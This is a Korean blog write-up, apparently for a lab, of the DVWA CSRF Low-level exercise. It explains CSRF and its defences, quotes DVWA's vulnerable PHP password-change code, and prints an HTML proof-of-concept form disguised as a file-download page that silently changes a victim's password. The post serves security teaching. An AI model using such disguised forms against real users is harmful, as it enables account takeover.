이 문서에 포함된 어떠한 내용도 불법적이거나 비윤리적인 목적으로 보안 도구나 방법론을 사용하도록 가르치거나 장려하지 않습니다. 항상 책임감 있는 태도로 행동하세요. 여기에 설명된 도구나 기법을 사용하기 전에 개인 테스트 환경 또는 허가를 받았는지 확인하세요. |
[ 환경 ]
DVWA | v1.9 |
Burp Suite | Community Edition v2024.11.2 |
크로스 사이트 요청 위조(CSRF, Cross-Site Request Forgery)는 웹 애플리케이션의 사용자 신뢰를 악용하는 공격으로, 사용자가 의도하지 않은 요청을 서버에 보내도록 유도하는 취약점이다. 공격자는 사용자의 세션 인증 정보를 악용해 사용자 권한으로 임의의 작업(예: 계좌 이체, 비밀번호 변경, 데이터 삭제)을 수행할 수 있다. CSRF 공격은 주로 피해자가 신뢰하는 웹 애플리케이션의 취약점을 노린다.
자동으로 포함되는 인증 정보
사용자 입력값 검증 부족
HTTP 요청 메커니즘의 신뢰
CSRF 방지 토큰 사용
Referer 헤더 및 Origin 헤더 검증
인증 정보 제한
SameSite 쿠키 설정
사용자 알림 및 로그 기록
CSRF는 사용자의 신뢰를 이용한 교묘한 공격 방식으로, 서버는 요청의 정당성을 철저히 검증해야 한다. CSRF 방지 토큰, Referer 검증, 쿠키 정책 강화 등 다층적인 보안 조치를 통해 CSRF 공격을 예방할 수 있다. 이러한 조치를 통해 웹 애플리케이션의 신뢰성과 안전성을 유지할 수 있다.
if( isset( $_GET[ 'Change' ] ) ) {
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
if( $pass_new == $pass_conf ) {
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
$current_user = dvwaCurrentUser();
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $current_user . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
소스코드에서 보았듯이 적절한 CSRF를 보호 할 수 있는 기능이 없다. 이를 통해 공격자는 악성 URL을 만들어 로그인한 사용자를 속여 자신도 모르게 원치 않는 작업을 대신 실행 할 수 있다. 이 취약점은 코드에 요청의 출처를 확인하는 메커니즘이 포함되어 있지 않다는 사실에 있다. 따라서 공격자는 악의적인 목적을 가진 코드를 포함된 URL을 생성하여 피해자에게 보내면, 피해자가 취약한 웹사이트에서 인증된 상태에서 악성 링크를 클릭하면 이 코드는 추가 인증이나 사용자 동의 없이 비밀번호 변경을 실행한다.
참고 : 일부 최신 브라우저는 SameSite 속성을 명시하지 않은 쿠키를 기본적으로 SameSite 쿠키 플래그를 Lax로 처리 하고 있으며, 이를 통해 일부 유형의 CSRF 공격을 차단하고 있다.
SameSite 쿠키 플래그는 브라우저가 쿠키를 특정 상황에서만 포함하도록 제한하는 보안 메커니즘으로, 이를 통해 CSRF (Cross-Site Request Forgery)와 같은 공격을 완화할 수 있다. SameSite 플래그는 쿠키가 요청에 자동으로 포함되는 방식을 제어하여, 요청 출처가 다를 때 쿠키의 전송 여부를 결정한다.
SameSite 쿠키 플래그의 옵션
1. Strict
# 사용 예시
Set-Cookie: my_cookie=value; SameSite=Strict
2. Lax
# 사용 예시
Set-Cookie: my_cookie=value; SameSite=Lax
3. None
# 사용 예시
Set-Cookie: my_cookie=value; SameSite=None; Secure
이제 Low level의 CSRF 공격을 수행해보자. 가장 먼저 New password와 Congirm new password 입력란에 test라고 입력 후 Change 버튼을 클릭해 반응을 살펴 보면, [그림 3]과 같이 비밀번호가 변경된것을 확인할 수 있다.
전송되는 Request를 Burp Suite로 Intercept 하여 확인해 보면 GET으로 password_new Parameter, password_conf Parameter, Change Parameter를 전송하며, CSRF 토큰이 없다는 사실을 확인할 수 있다. CSRF 보호 기능이 없는 경우 공격자는 피해자가 취약한 웹 사이트에 로그인한 상태에서 URL을 클릭하도록 속여 이 취약점을 악용할 수 있다.
아래 코드는 Intercept한 내용을 토대로 공격자는 파일을 다운로드 하는 페이지로 위장하여, 비밀번호를 test111로 변경하는 간단한 HTML 코드이다.
<html>
<body>
<h3> File Download </h3>
<form method="GET" action="http://192.168.107.144/DVWA/vulnerabilities/csrf/?password_new=test&password_conf=test&Change=Change">
<input type="hidden" name="password_new" value="test111"/>
<input type="hidden" name="password_conf" value="test111"/>
<input type="hidden" name="Change" value="Change"/>
<input type="submit" value="Click to Download File">
</form>
</body>
<html>
피해자가 취약한 웹 사이트에 로그인한 상태에서 해당 링크를 클릭하게 되면, 피해자 모르게 비밀번호가 공격자가 의도한 test111로 변경되게 된다.
DVWA : CSRF - High level (0) | 2025.01.01 |
---|---|
DVWA : CSRF - Medium level (0) | 2025.01.01 |
DVWA : Command Injection - Impossible level (0) | 2024.12.29 |
DVWA : Command Injection - High level (0) | 2024.12.29 |
DVWA : Command Injection - Medium level (0) | 2024.12.29 |